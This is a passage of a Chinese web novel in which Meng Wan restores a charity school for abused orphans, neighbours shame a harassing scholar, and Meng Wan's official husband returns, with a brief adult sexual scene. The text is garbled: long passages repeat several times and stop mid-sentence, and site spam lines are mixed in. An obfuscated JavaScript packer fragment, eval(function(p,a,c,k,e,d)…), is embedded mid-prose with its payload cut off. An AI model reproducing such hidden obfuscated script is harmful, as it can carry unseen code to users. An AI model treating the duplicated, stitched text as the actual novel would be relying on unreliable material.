“枝繁,你跟着蚩羽出去采买,先买来一石糙米和一石精米来,粗面、油盐酱醋也都各买一些,今天就先将吃食备好,明天再去布庄买粗布棉花。” “雨哥儿,你去附近请个郎中回来,给这些孩子看看。” 孟晚站在后院吩咐,声音响亮,故意说给那些受惊的孩子听。 那八个小孩还是缩在屋子里不肯出来,被打骂折磨的瘦干儿似的,裸露出来的皮肤上都是青青紫紫的掐痕,那么看着怪吓人的,怎么也要找郎中上点药。 同样都是乞儿,府城义学的孩子们,自食其力,兄友弟恭,虽然不常沾肉腥,但戴寡妇给她们调教的比有爹有妈的孩子还好,盈娘教她们读书识字,这五年下来,那群孩子们已经学会许多了。 再对比谷阳县义学的孩子们,真是一个在天上,一个在深渊地狱。 孟晚创办义学本是好意,叫这等狼心狗肺、寡恩薄情的人给糟蹋成这样,他心里不气是不可能的。 银两都好说,被卖掉的孩子却怎么也找不回来了。 义学的厨房基本上是摆设,只有一口铁锅,孟晚把剩下的米都倒进了锅里,也没投洗,直接加水。 他做完了又去角屋叫那些孩子,“喂,你们想吃饭吗?想吃就抱些干柴过来,添火煮粥吃。” 那群小孩仿若未闻,只是更往角落里缩了。 孟晚眉头拧在一起,这些孩子怕不是被这样吓过,如今房门大开,阳光照在地上,她们只躲着那道光,自己缩在黑暗角落。 不敢逃跑,也不敢回应。 孟晚自己烧了火,米香味传出来的时候最小的小孩小声道:“饿。” 大的那两个忙捂住他的嘴巴,不能说话,会被人打,还会被卖掉。 他们刚来的时候也有人给他们粘稠的精米粥喝,有干净的新衣裳穿,结果穿了新衣裳的都被拉走了,再也没回来过。 而他们,也再没有吃过那么香的粥。 县城就这么大,米面油粮各类铺子离得都不远,蚩羽和枝繁很快就满载而归。 去找郎中的雨哥儿比他们还先回来,这会儿郎中已经挨个给孩子们诊完了脉,叫身边的小学徒去铺子里取制现成的外伤膏药。 “身体亏损太多,用不得药,进补也要慢慢补起来,可怜了这些孩子了。”义学当初建的时候轰轰烈烈,有人说好有人说坏,时间长了都知道有点猫腻,直到孟晚把张管事告到县衙,才知道里头竟然如此牟利,身后的东家是真尽了心的,可惜便宜了如狼似虎的贼人。 医者仁心,郎中也是可怜这些孩子身上大大小小的 伤痕,竟还不如做乞儿了。 孟晚付了诊费,郎中没要,“夫郎仁义,小老儿也不是见钱眼开的人,诊费就罢了。” 越是小地方的人,心反而没有那么冷硬。孟晚也不差钱,郎中不要诊费,他好歹把膏药钱给了,又客客气气地将人送到门口,直言往后孩子们有个头疼脑热的还要劳烦一二。 枝繁归置厨房的米面油粮,雨哥儿虽然不知这义学是干什么的,但也没闲着,帮忙一起收拾。 孟晚将一锅粘稠的粥都淘换到大木桶里,蚩羽给端到正院中堂的桌子上去,整个院里也只有那处有桌椅。 “蚩羽,你去屋里叫那些孩子出来吃饭,若是他们不动换,扛也给扛出来。”孟晚交代蚩羽一声,便回房间洗澡换衣裳。 他不会在谷阳县久留,没时间慢慢调教这几个孩子,只能用点强硬手段,先保证人饿不死再说。 洗了澡之后天色已经暗了下来,枝繁刚才又炒了个鸡蛋炒胡瓜、拌了一大盘子凉拌马齿苋。 虽然就两样,但量大管饱。 粥也被分成两盆,一盆用井水投过凉,他们四个大人吃,一盆熬得粘稠的分给那八个孩子。 也不知道蚩羽用了什么手段,人倒是都来了,不肯上桌,就缩在堂屋角落里,还是那个姿势,大夏天的,也不嫌弃热。 枝繁盛了八碗粥,孟晚拿起一碗塞给最小的孩子,“端着,吃!” 他音量不低,给那小孩吓了一跳,下意识便接过来送到嘴边喝了一口。 温热的米粥滑进肚子,就是大的要抢出来,他也不撒手了。 剩下的孩子也被馋的不行,再将粥递过来,便也都大口大口的喝了起来。 孟晚又端着独留出来给他们的胡瓜炒鸡蛋,就那样蹲在他们跟前,“先别着急吃,一人一块鸡蛋,把碗都伸出来。” 这回八个小孩都乖乖递出了碗,才这么小会儿的功夫,粥都快见底了。 孟晚挨个给他们加鸡蛋,大孩子大些,小孩子的小些,在各放几片胡瓜就着吃。 都分好,他也不看他们,自己坐到桌边吃饭。 可能是忙活了一天,他这会儿胃口也不错,喝了满满两碗水粥,还吃了不少的菜。 “这里没有多余的被褥,我让蚩羽送你回家住去,明天若是还想来,我叫蚩羽去接你 。”饭后孟晚对雨哥儿说道。 雨哥儿小声说:“明天我还想过来帮忙。”她不明白做这些事的意义,但觉得比在家里待着强,表嫂也愿意给他个笑脸。雨哥儿有些小聪明,他知道以后亲大嫂可能靠不住,要靠孟晚这位表嫂。 孟晚眼里果然多了点笑意,“成。” 临睡前这群吃的半饱的小孩被蚩羽拎到井边,一个个的兑上温水洗漱,洗好了枝繁再挨个把他们擦干净了上药,枝繁动作比粗鲁的蚩羽温柔,说话也比冷硬严厉的孟晚好听,这些小孩被上药的时候,最小的那个突然就抱着他哭了起来。 枝繁红着眼眶,抱着光屁股的小孩哄了又哄。 后两日有一个算一个,都被孟晚指使起来,义学里当初置办东西的钱都被张管事落下了,除了待客的厅堂还算体面,剩下的屋子都空着,有的屋子搭了炕,有的屋子没搭。 他叫蚩羽和枝繁去木匠铺子,有几张现成的床便先买上几张,剩下再加钱定做些红木大柜和立着的大衣柜,又去成衣铺子买了十几套麻布衣裳回来。 孩子们的被褥也买了现成的,洗澡桶、洗脸盆、枕头、油灯……零零碎碎的置办了好几天,义学门口见天有送货的。 那群小孩头上生了虱子,孟晚给他们挨个剃了光头,又把角屋里的稻草让蚩羽拖出来烧了,安排他们住到后院最大的一间大通铺里,宽敞又亮堂。 炕上铺着八个铺盖卷,褥子枕头都是新的,天气热,被子都被收进了新打的柜子里,孩子们盖得是麻布薄毯。 一天三顿的清淡饭菜被孟晚养着,这群孩子终于不是麻木的缩着了,刚开始他们只敢跟在脾气最好的枝繁屁股后面,渐渐的也敢和蚩羽和雨哥儿说话了,只是还是有些怕孟晚。 “晚上咱们做豆角肉臊子凉面,炉子上煨上鸡汤,给这几个小孩下鸡汤热面。”天热孟晚不爱进厨房,就让枝繁和雨哥儿在厨房里擀面条,他搬了个小凳子在大门处摘豆角。 大门敞着门洞宽敞,坐在下头又阴凉又有过堂风,吹起来格外舒适。 过了一会儿他跟前就多了八个小孩一起帮忙摘,孟晚叫那个大的,“去带弟弟妹妹们去搬几个小凳子来,坐着摘菜。” 大的老实的“嗯”了一声,领着几个小的走了,没一会儿又各拎着个小木凳回来。 这些小木凳院里有二十来个,都是木匠用打床、搭炕沿、打柜子、桌子等剩下来的边角料做的,没要钱,送给孩子们坐着玩。 放到义学里很实用,孟晚就十分爱坐。 “晚哥儿啊,摘豆角呢?我家种的胡瓜收了不少,给孩子们摘了几根来。” 义学大门敞着,便有街坊邻居过来串门。 。”饭后孟晚对雨哥儿说道。 雨哥儿小声说:“明天我还想过来帮忙。”她不明白做这些事的意义,但觉得比在家里待着强,表嫂也愿意给他个笑脸。雨哥儿有些小聪明,他知道以后亲大嫂可能靠不住,要靠孟晚这位表嫂。 孟晚眼里果然多了点笑意,“成。” 临睡前这群吃的半饱的小孩被蚩羽拎到井边,一个个的兑上温水洗漱,洗好了枝繁再挨个把他们擦干净了上药,枝繁动作比粗鲁的蚩羽温柔,说话也比冷硬严厉的孟晚好听,这些小孩被上药的时候,最小的那个突然就抱着他哭了起来。 枝繁红着眼眶,抱着光屁股的小孩哄了又哄。 后两日有一个算一个,都被孟晚指使起来,义学里当初置办东西的钱都被张管事落下了,除了待客的厅堂还算体面,剩下的屋子都空着,有的屋子搭了炕,有的屋子没搭。 他叫蚩羽和枝繁去木匠铺子,有几张现成的床便先买上几张,剩下再加钱定做些红木大柜和立着的大衣柜,又去成衣铺子买了十几套麻布衣裳回来。 孩子们的被褥也买了现成的,洗澡桶、洗脸盆、枕头、油灯……零零碎碎的置办了好几天,义学门口见天有送货的。 那群小孩头上生了虱子,孟晚给他们挨个剃了光头,又把角屋里的稻草让蚩羽拖出来烧了,安排他们住到后院最大的一间大通铺里,宽敞又亮堂。 炕上铺着八个铺盖卷,褥子枕头都是新的,天气热,被子都被收进了新打的柜子里,孩子们盖得是麻布薄毯。 一天三顿的清淡饭菜被孟晚养着,这群孩子终于不是麻木的缩着了,刚开始他们只敢跟在脾气最好的枝繁屁股后面,渐渐的也敢和蚩羽和雨哥儿说话了,只是还是有些怕孟晚。 “晚上咱们做豆角肉臊子凉面,炉子上煨上鸡汤,给这几个小孩下鸡汤热面。”天热孟晚不爱进厨房,就让枝繁和雨哥儿在厨房里擀面条,他搬了个小凳子在大门处摘豆角。 大门敞着门洞宽敞,坐在下头又阴凉又有过堂风,吹起来格外舒适。 过了一会儿他跟前就多了八个小孩一起帮忙摘,孟晚叫那个大的,“去带弟弟妹妹们去搬几个小凳子来,坐着摘菜。” 大的老实的“嗯”了一声,领着几个小的走了,没一会儿又各拎着个小木凳回来。 这些小木凳院里有二十来个,都是木匠用打床、搭炕沿、打柜子、桌子等剩下来的边角料做的,没要钱,送给孩子们坐着玩。 放到义学里很实用,孟晚就十分爱坐。 “晚哥儿啊,摘豆角呢?我家种的胡瓜收了不少,给孩子们摘了几根来。” 义学大门敞着,便有街坊邻居过来串门。 。”饭后孟晚对雨哥儿说道。 雨哥儿小声说:“明天我还想过来帮忙。”她不明白做这些事的意义,但觉得比在家里待着强,表嫂也愿意给他个笑脸。雨哥儿有些小聪明,他知道以后亲大嫂可能靠不住,要靠孟晚这位表嫂。 孟晚眼里果然多了点笑意,“成。” 临睡前这群吃的半饱的小孩被蚩羽拎到井边,一个个的兑上温水洗漱,洗好了枝繁再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这些小木凳院里有二十来个,都是木匠用打床、搭炕沿、打柜子、桌子等剩下来的边角料做的,没要钱,送给孩子们坐着玩。 放到义学里很实用,孟晚就十分爱坐。 “晚哥儿啊,摘豆角呢?我家种的胡瓜收了不少,给孩子们摘了几根来。” 义学大门敞着,便有街坊邻居过来串门。 。”饭后孟晚对雨哥儿说道。 雨哥儿小声说:“明天我还想过来帮忙。”她不明白做这些事的意义,但觉得比在家里待着强,表嫂也愿意给他个笑脸。雨哥儿有些小聪明,他知道以后亲大嫂可能靠不住,要靠孟晚这位表嫂。 孟晚眼里果然多了点笑意,“成。” 临睡前这群吃的半饱的小孩被蚩羽拎到井边,一个个的兑上温水洗漱,洗好了枝繁再挨个把他们擦干净了上药,枝繁动作比粗鲁的蚩羽温柔,说话也比冷硬严厉的孟晚好听,这些小孩被上药的时候,最小的那个突然就抱着他哭了起来。 枝繁红着眼眶,抱着光屁股的小孩哄了又哄。 后两日有一个算一个,都被孟晚指使起来,义学里当初置办东西的钱都被张管事落下了,除了待客的厅堂还算体面,剩下的屋子都空着,有的屋子搭了炕,有的屋子没搭。 他叫蚩羽和枝繁去木匠铺子,有几张现成的床便先买上几张,剩下再加钱定做些红木大柜和立着的大衣柜,又去成衣铺子买了十几套麻布衣裳回来。 孩子们的被褥也买了现成的,洗澡桶、洗脸盆、枕头、油灯……零零碎碎的置办了好几天,义学门口见天有送货的。 那群小孩头上生了虱子,孟晚给他们挨个剃了光头,又把角屋里的稻草让蚩羽拖出来烧了,安排他们住到后院最大的一间大通铺里,宽敞又亮堂。 炕上铺着八个铺盖卷,褥子枕头都是新的,天气热,被子都被收进了新打的柜子里,孩子们盖得是麻布薄毯。 一天三顿的清淡饭菜被孟晚养着,这群孩子终于不是麻木的缩着了,刚开始他们只敢跟在脾气最好的枝繁屁股后面,渐渐的也敢和蚩羽和雨哥儿说话了,只是还是有些怕孟晚。 “晚上咱们做豆角肉臊子凉面,炉子上煨上鸡汤,给这几个小孩下鸡汤热面。”天热孟晚不爱进厨房,就让枝繁和雨哥儿在厨房里擀面条,他搬了个小凳子在大门处摘豆角。 大门敞着门洞宽敞,坐在下头又阴凉又有过堂风,吹起来格外舒适。 过了一会儿他跟前就多了八个小孩一起帮忙摘,孟晚叫那个大的,“去带弟弟妹妹们去搬几个小凳子来,坐着摘菜。” 大的老实的“嗯”了一声,领着几个小的走了,没一会儿又各拎着个小木凳回来。 这些小木凳院里有二十来个,都是木匠用打床、搭炕沿、打柜子、桌子等剩下来的边角料做的,没要钱,送给孩子们坐着玩。 放到义学里很实用,孟晚就十分爱坐。 “晚哥儿啊,摘豆角呢?我家种的胡瓜收了不少,给孩子们摘了几根来。” 义学大门敞着,便有街坊邻居过来串门。 。”饭后孟晚对雨哥儿说道。 雨哥儿小声说:“明天我还想过来帮忙。”她不明白做这些事的意义,但觉得比在家里待着强,表嫂也愿意给他个笑脸。雨哥儿有些小聪明,他知道以后亲大嫂可能靠不住,要靠孟晚这位表嫂。 孟晚眼里果然多了点笑意,“成。” 临睡前这群吃的半饱的小孩被蚩羽拎到井边,一个个的兑上温水洗漱,洗好了枝繁再挨个把他们擦干净了上药,枝繁动作比粗鲁的蚩羽温柔,说话也比冷硬严厉的孟晚好听,这些小孩被上药的时候,最小的那个突然就抱着他哭了起来。 枝繁红着眼眶,抱着光屁股的小孩哄了又哄。 后两日有一个算一个,都被孟晚指使起来,义学里当初置办东西的钱都被张管事落下了,除了待客的厅堂还算体面,剩下的屋子都空着,有的屋子搭了炕,有的屋子没搭。 他叫蚩羽和枝繁去木匠铺子,有几张现成的床便先买上几张,剩下再加钱定做些红木大柜和立着的大衣柜,又去成衣铺子买了十几套麻布衣裳回来。 孩子们的被褥也买了现成的,洗澡桶、洗脸盆、枕头、油灯……零零碎碎的置办了好几天,义学门口见天有送货的。 那群小孩头上生了虱子,孟晚给他们挨个剃了光头,又把角屋里的稻草让蚩羽拖出来烧了,安排他们住到后院最大的一间大通铺里,宽敞又亮堂。 炕上铺着八个铺盖卷,褥子枕头都是新的,天气热,被子都被收进了新打的柜子里,孩子们盖得是麻布薄毯。 一天三顿的清淡饭菜被孟晚养着,这群孩子终于不是麻木的缩着了,刚开始他们只敢跟在脾气最好的枝繁屁股后面,渐渐的也敢和蚩羽和雨哥儿说话了,只是还是有些怕孟晚。 “晚上咱们做豆角肉臊子凉面,炉子上煨上鸡汤,给这几个小孩下鸡汤热面。”天热孟晚不爱进厨房,就让枝繁和雨哥儿在厨房里擀面条,他搬了个小凳子在大门处摘豆角。 大门敞着门洞宽敞,坐在下头又阴凉又有过堂风,吹起来格外舒适。 过了一会儿他跟前就多了八个小孩一起帮忙摘,孟晚叫那个大的,“去带弟弟妹妹们去搬几个小凳子来,坐着摘菜。” 大的老实的“嗯”了一声,领着几个小的走了,没一会儿又各拎着个小木凳回来。 这些小木凳院里有二十来个,都是木匠用打床、搭炕沿、打柜子、桌子等剩下来的边角料做的,没要钱,送给孩子们坐着玩。 放到义学里很实用,孟晚就十分爱坐。 “晚哥儿啊,摘豆角呢?我家种的胡瓜收了不少,给孩子们摘了几根来。” 义学大门敞着,便有街坊邻居过来串门。 第59章 轻薄 “刘嫂啊,快过来坐,你昨天拿的豆角我正准备今天做卤子吃呢,小二去拿个凳子过来。 这几天义学门口出来进去的,自有看热闹的邻居,张管事的事一传十十传百,大家都知道了。 再加上孟晚嘴甜,遇上人了就大嫂叔婶的叫着,才住进义学几天就和街坊邻居打的火热,众人时常过来串串门,一起坐在门口大骂张管事不是个东西,是个大畜生。 刘嫂来了之后,陆续又有其他夫人夫郎过来凑堆摘菜,都是准备晚饭的,小孩子跟着自己阿爹阿娘或者奶奶来,义学不管门前还是前院都宽敞,他们喜欢过来玩。 八个孩子也被孟晚赶去玩,才几根豆角而已,用不用他们都成,雨哥儿从厨房和好了面出来凉快,也坐在孟晚旁边摘豆角。 “晚哥儿,你表弟长得这么标致,找人家了没?有人打趣雨哥儿。 “还没有呢,他才十六,不着急。孟晚心里是有些想法的,但还要看雨哥儿自己的意见。 刘嫂道:“你是个大善人,收养这么多的小乞儿,家里也不像是缺钱的,不少人同我打听雨哥儿呢。 义学这头离雨哥儿大嫂家远,雨哥儿从前来县城也不多,所以大家都不知道他家事,更不知道孟晚的底细。 问了孟晚,他只道自己夫君在外地做官,不日便回来接他。 人家问了也是热心,但是介绍的定然只是普通人家,孟晚既然要管,就要替雨哥儿打算一番,便委婉的说:“老家那边有族学,我夫君的几个堂弟中有两个中了秀才,年岁都不大…… 说到这儿,大家都明白了,又感叹孟晚难怪有闲钱办这挨累不讨好的事,家里竟然如此有底蕴吗? 雨哥儿偷偷看了孟晚一眼,宋家的秀才吗? 大家又说了一阵儿闲话,等太阳快落山了,在外做工的男人都快回家吃饭,才提着菜篮子纷纷回家做饭。 义学里传出阵阵鲜香的鸡汤味,熬了一个时辰的鸡被炖的脱了骨。孟晚把鸡肉全都捞了出来,那边雨哥儿也盛好了八碗面条。 面条没有过凉,怕这群小孩的脾胃承受不住,孟晚一勺接着一勺的往面碗里面舀鸡汤,再往上头码上烫好的青菜,鸡肉拆了下来两碗出来,均匀的夹到八碗面条上。 “吃饭了!枝繁将没活干跑去擦房门的小孩们都叫过来。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “先到井边洗洗手去,面都盛好了,一人一碗,过来吃。” 大家都在中堂坐在小凳子上吃面,两张方木矮桌。大人吃豆角肉臊子的过水面,孩子吃鸡汤面,无论哪种,味道都很浓郁,勾来了一只小馋猫。 “孟夫郎,你们……吃面条呀?”之前在面摊上和孟晚相遇的小乞儿挂着讨好的笑,从门洞那里慢慢吞吞地凑过来。 孟晚挑了一筷子面条,掺着豆角丝和肉沫,挂着褐色的酱汁看起来格外诱人,“呦,你不是怕被拐嘛,怎么主动送上门来?这回不怕我卖小孩儿了?” 小乞儿咽了口口水,“瞧您说的,我之前那不是不识您庐山真面目吗?” 孟晚看他的馋猫样觉着好笑,“你还知道不识庐山真面目呢?去井边洗洗手过来吃一碗吧。” 小乞儿欢天喜地的跑进院子,洗手的时候还不忘回孟晚的话,“有戏班子到县城唱戏的时候,学得他们说的。” 蚩羽给他拿了个空碗盛了一碗肉臊子面,小乞儿虽然乞讨,但身上还算干净,大夏天的也没什么怪味儿,哪怕独着臂,却也将自己照料的很好。 他没好意思坐在孟晚旁边吃,也不要凳子,就蹲在一旁吃面。 “你若是想进义学,我们也收你,来不来?”孟晚吃饱了,放下碗筷问他。 小乞儿像是知道孟晚会有此一问,几下将口中的面咽进肚里,忙回道:“多谢孟夫郎好意,但我还是不了。” 孟晚饶有兴致的问:“为何?” 这一句话的功夫小乞儿又吃了一大口,“唔……小的若是幼童也就罢了,今年我都十三了,等入了秋也去码头上找些活计,能养活自己不必乞讨了,还和这些小的抢这口饭吃岂不丢人?” 小乞儿其实有住的地方,他爹娘给他留了一间茅草屋,只是当年为了给爹娘发丧,卖了家中的几亩薄田,家里无米下锅,这才不得已出来乞讨。 孟晚倒是没想到他能说出这么一番话来,神色颇为动容,半晌都没说话,只是等小乞儿吃完了一碗面,又帮他添了一碗。 “你既然这般有志向,我也帮你留意着,若是有什么挣钱的活计就去你家找你。” 小乞儿笑颜逐开,谁都知道孟晚在县城像是有人脉的,起码比他这个无父无母的小乞儿强,“那敢情好,多谢孟夫郎。” 大锅饭就是比在客栈里 你的朋友正在书荒,快去帮帮他吧 吃的东西香,第二天一早孟晚亲自到菜市场去,有些日子没吃肉了,买上一些猪肉来大家吃,孩子们这两天也能沾沾荤腥了。 蚩羽提着沉重的大菜篮跟在孟晚后面,两人快走到义学门口的时候,远远就见门口有个男人在来回徘徊。 蚩羽一手提着篮子,一手捏着拳头,“夫郎,看我将这登徒子打上一顿,叫他不敢再来! 孟晚拦住他,小声吩咐,“别急,你去韩家…… 蚩羽脚程快,孟晚将他派出去后也不现身,就在隔壁邻居门口歇脚。 刘嫂正在院里洗衣裳,看见他提着一大篮子的肉菜忙招呼,“晚哥儿,进来坐呀,怎么站在门口? 孟晚将食指抵在唇边,“刘嫂,小点声,你看义学门口。 刘嫂忙放下衣裳,快步走到门口,看见从门外往里面巴望的韩秀才,眉毛倒竖,张口便骂,“这厮也忒不要脸了,都来了几次了,这不是非要你的命吗? 未婚女娘被人上门求娶,那是这家孩子好,惹儿郎惦记。 孟晚一个嫁了人的夫郎,本就独自撑着义学,被男人三天两头的找上门,便是没放进去过,旁人会怎么说?若是叫人家夫君知晓了,又会如何? 这可不是求爱,这是一心害人啊! 她一看孟晚,果真一脸苦涩又无助的样子。 刘嫂插上了腰,义愤填膺道:“你别怕,等我叫上你张婶李嫂一块出去,看他个不要脸的敢乱说! 一刻钟后—— “暄郎,你在这儿做什么?一个衣着粉裙的女人甩着帕子撑着伞过来,看着韩秀才竟然真的在这儿,满眼不可思议。 不光是她,一旁的杨宝儿也是又羞又愤,“你是疯魔了不成!快快回家去! 韩秀才有些不耐,“谁让你们来的,快走快走。 “你当谁愿意来,人家都找上门了,你不要脸我还要脸呢! 韩秀才和一夫郎一妾室在这儿拉拉扯扯,周围的街坊邻居都围了过来。 刘嫂首当其冲,“这是干嘛呢?到人家义学门口拉拉扯扯不像样子的。 大家一窝蜂的涌上去,蚩羽钻进去踹了韩秀才好几脚。 “干什么呢!吵吵闹闹成何体统! 丁知县远远见到这处有人**,忙厉声喝 你的朋友正在书荒,快去帮帮他吧 道。 衙役上前来将众人都拉开,等人群散开,韩秀才已经满脸挂彩,捂住腰直不起身子。他身边的小妾还算痴情,心疼的扶着他。 官府一来人,街坊邻里怕惹事全都跑远了,有的回家连大门都关上了,行动之快令人叹服。 “大人,这群刁民,竟敢……竟敢对有功名的秀才相公动手,真是无法无天……无法无天呐!韩秀才弓着腰身,胸膛上下起伏,咬牙切齿地怒吼。 他往日被人恭敬惯了,县城的乡绅见面都是客客气气的,这会儿竟然被人当街殴打,身上疼是一面,被当众撕碎了秀才相公的体面,狼狈的姿态才最刺人。 “你因何故被打? 丁知县尚未言语,他身后又走出一位身量极高,姿态挺拔的男人。他比丁知县高了半个头,长相中藏着股带有攻击性的英俊,望过来的神色较为冷淡, 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惹到这个活阎王,算姓韩的倒霉,如此蠢货便是考上进士也无甚大用,别说眼前只是一个小小秀才。 韩秀才尚且还没有在,面前的高官竟然是孟晚夫君的事情上回过神来。打宋亭舟一露面就躲在墙角的杨宝儿却不得不露面。 “宋大哥,还 听说看这本书的人都是很幸运的,分享后你的运气会更棒 请你饶了他一回吧。”杨宝儿神色复杂的看着面前的男人,犹豫一番后,跪在了宋亭舟面前。 剩下的事自有丁知县解决,宋亭舟急着去寻孟晚,越过两人,迈开腿朝义学中走去。天热衣薄,走动间布料贴合肩胛,隐约能探查到他紧实有力的臂膀。 杨宝儿扭过身去望着他的背影,“宋大哥,我求你一回还不成吗?就算我当初对你不起,望你不要迁怒我夫君。” 他这话一出,宋亭舟终于给杨宝儿一个正脸,他思索片刻从脑海里翻找出一号人物,“你是杨家村的人?” 原来他竟然没认出自己? 杨宝儿羞愤欲死,但为了韩秀才的仕途,不得不硬着头皮道:“我是杨家村的杨宝儿,宋大哥,能不能看在……看在曾经我们两家……” 宋亭舟语气快了两分,“我家与你家无亲无故,莫要胡乱攀扯。丁大人,谷阳县是你辖区,这里就交给你了。” 他说完后怕杨宝儿再多加纠缠,大步踏进了义学大门。 “哟,看见你旧情人了?” 孟晚就隐在门内阴凉的地方,抱着胸看了半天的戏,他虽然嘴上调侃宋亭舟,但眼中欣喜也不是假的。 宋亭舟走过去把他的手放进自己掌心,颇为无奈的说:“晚儿,我对他并无印象。” 这么多年过去,他早连对方名字长相都记不得了。 孟晚拧了下他手背,轻哼了一声,忍不住关心道:“怎么只你一人回来,身边的人呢?” 盛京距离昌平虽然没有到岭南那么远,也是要行两月才能到的,路上风险颇大,起码也要带十几个衙役或者护卫。 “葛全一家也来了,我身边只带了陶八和十一,他们在门外看着那秀才。”宋亭舟有要事要办,还没回三泉村就先到了谷阳县,没想到这么碰巧遇到了孟晚。 孟晚了然,葛全一人足以胜过上百守卫。 更私密的事眼下倒是不太好问,孟晚将宋亭舟带到他休息的房间,“那你要在县城待几天?我这里还要找个新管事才能撒手。” “两天足矣,这里的管事被你换了?”宋亭舟闻了闻自己身上的汗味,非要先洗了澡再进房间休息。 “那个混账东西,险些坑死我,晚上我在同你说,你先洗吧,我去让枝繁再买些菜回来。”孟晚告诉了他水桶在哪儿,叫他自己提水回来洗漱。 夏天天热,宋亭舟连热水也没兑,只提了两桶凉水冲身。 他洗完后才想起来换洗的衣物还在陶八他们那里,刚喊了一声孟晚的名字,对方拿上包袱笑着推门进来了。 第60章 开荒 夏天存不住菜,孟晚买的就是他们当天吃的菜肉,宋亭舟来,他便叫枝繁和蚩羽出去重新买。 等宋亭舟洗澡出来后,厨房里的几个灶头都烧上了火,几个小光头在帮忙烧火递碗的,孟晚亲自掌勺,把后来新的的两口铁锅也都用上了。 他热的一头汗,但嘴角却是高高上翘,眉眼也是弯的,见宋亭舟过来忙制止他,“厨房热得很,你刚洗了澡就别过来了,不然白洗,若是有空还不如去帮我看看给他们启蒙的书册。” 都是孟晚从书店买来的三字经、百家姓等启蒙的书籍,还有些乱七八糟别的,也不知道适不适用。 宋亭舟闻言脚步拐了个弯,去帮忙收拾书册。 晚膳用了大的八仙桌,孟晚叫人将小乞儿苏奕也给叫过来了,一半的肉菜一半的凉菜,酒楼里买的烧鸡烧鸭、孟晚最拿手的炖鱼、几道时令时蔬,满满一大桌子的菜,寻常人家过年也没有这么热闹。 “蚩羽,镇在井里的果酒凉快了没?快给我来一杯,热**。”孟晚从厨房里出来觉得自己好似出了蒸笼,他捧了几捧凉水洗脸,给他泛红的脸颊降了降温。 宋亭舟适时递上一块布巾给他擦脸,眼睛一瞬不瞬地盯着孟晚绯丽的脸庞。 孟晚又不是瞎才察觉不到,“快吃饭吧,我和娘走后你有没有好好吃饭啊?都瘦了。” 被孟晚拉到桌边,宋亭舟叹了口气,“晚儿,瘦的是你。” 下巴都尖了,脸也瘦了一小圈。 孟晚冲他一笑,一口干了蚩羽给他倒的果酒,冰凉彻骨,通体舒畅。 孩子们喝酸梅汤,大人喝果酒。 这群小孩本来就老实,今天宋亭舟在这儿更是畏手畏脚的放不开,一桌子的大鱼大肉也只敢夹面前的,连向来敢说话的小乞儿苏奕也循规蹈矩的。 饭后收拾碗筷就不用孟晚张罗了,他回屋洗澡,宋亭舟勤劳的帮他提了一桶热水兑着洗。 “书信上你并未明说,太子成事后一切可都顺利?”孟晚扒在浴桶上问宋亭舟,他还没洗头发,在门口和宋亭舟刷了牙进来就泡在桶里,舒服的不想动弹。 宋亭舟搬了个凳子坐在他身边,拿小巧的葫芦水瓢往他头发上小心仔细的浇水,“晚儿,现在不能叫太子了,要叫陛下。” 孟晚猛地从浴桶中站起来,“他登基了?这么痛快?” 他就这么毫无保留的站在宋亭舟面前,肤色白的晃眼,黑发如瀑般垂在胸口几缕,因为动作太大,脸上也落了水滴,顺着他姣好的眉、直挺的鼻梁,殷红的唇一路向下…… 宋亭舟喉结上下滚动了一番,身下发紧,到底是比从前毛头小子定力好上不少,一边将人重新哄坐下,快速给孟晚洗了个头,一边心不在焉的说:“陛下筹备多年,只是因为忌惮聂川,才一直引而不发,先帝没撑多久便去了,陛下先前就是太子,便顺理成章的登了基。” 他说的轻巧,其实当时的盛京城乱得不行,宫外乱,宫内更乱,各种乱七八糟的势力失去头领,均都露出马脚来,甚至先帝临死前还想挣扎一番。 文昭可不是他软弱的父皇,他行事果断狠辣,解决了心腹大患聂川之后,不给别人半点反应的机会就抄了二十几个大大小小官员的家,其余兄弟也被他严密看护了起来,估计此生都出不了京城一步。 丁知县只是第一批被贬下来的官员而已,幸亏他当日虽然针对宋亭舟,却没有和听香榭有什么牵扯,和他一块得罪了宋亭舟的赵御史就没那么好运了,这会儿已经人头落地。 孟晚从浴桶里出来,裹住自己的身体让宋亭舟帮他绞头发,“想必是陛下前脚登基,后脚你就请旨返乡了?” “不错,我是等局势稳定才回来的,乐正崎在你走后第三天就前往岭南了。”宋亭舟从身后揽住他,亲了亲他侧脸才继续换了个布巾给他擦拭。 孟晚感受到身后宋亭舟的灼热气息,也被熏染的口干舌燥,他灌了一杯白开水,“那这两日府城该往下下达……唔……” 他的话被宋亭舟堵在嘴里,对方灵巧的舌头探到他口中,变着花样的挑逗吮啃,孟晚拽住他肩膀上的布料,尽力配合了一会儿便开始招架不住。 “……嘶……轻点。”孟晚吃痛,他嘴角都被宋亭舟凶猛的亲法啃得有些泛疼泛肿了,以前也少有这么急的。 “晚儿、晚儿……想不想夫君?”这间屋子里是新打的木床,宋亭舟叹着喘着说完了话,就又迫不及待地抱着他压到床上,吃够了唇又去吃他的脖子上的嫩肉。 孟晚艰难的说:“想……”他脖颈绷直成一条优美的弧线,双手摸到宋亭舟脑后的位置,替他拔了头上的玉冠。 宋亭舟短暂的起身解开自己身上的衣裳,汗水滴滴答答的滴到了孟晚身上,引得他也泛起了一层 细密的汗珠。 床边的蚊帐被宋亭舟动作粗鲁的拽开,有半截还挂在孟晚的腿上,露出来的那半截笔直的小腿,便一直挂在宋亭舟臂弯处晃呀晃…… 接下来两天宋亭舟都跟着孟晚在义学里头住,不日他们就该回乡去找常金花了,便是宋亭舟不来,孟晚也不可能长期待在谷阳县。 “管事的真不好找,我找了许久都没有合适的人,要是苏奕再大点倒是个能扛事的,现在也太小了。”孟晚愁眉不展的对宋亭舟说。 宋亭舟正在看陶八从驿站取回来的公文,听孟晚的话突然说道:“谷阳县有宋家的族人。” 孟晚一愣,“啊?谁啊?” 宋亭舟揩去了他鼻尖上的汗珠,“县学里面有个秀才在,他爹娘在县学里做小买卖供他读书。” 孟晚还真没想到这一茬,双目一亮,“那感情好,先让他顶着,也不用见天儿的来,空暇时候过来转转,给孩子们上堂课就成,小事上找苏奕看着,磨炼几年这小子就能顶事了。” 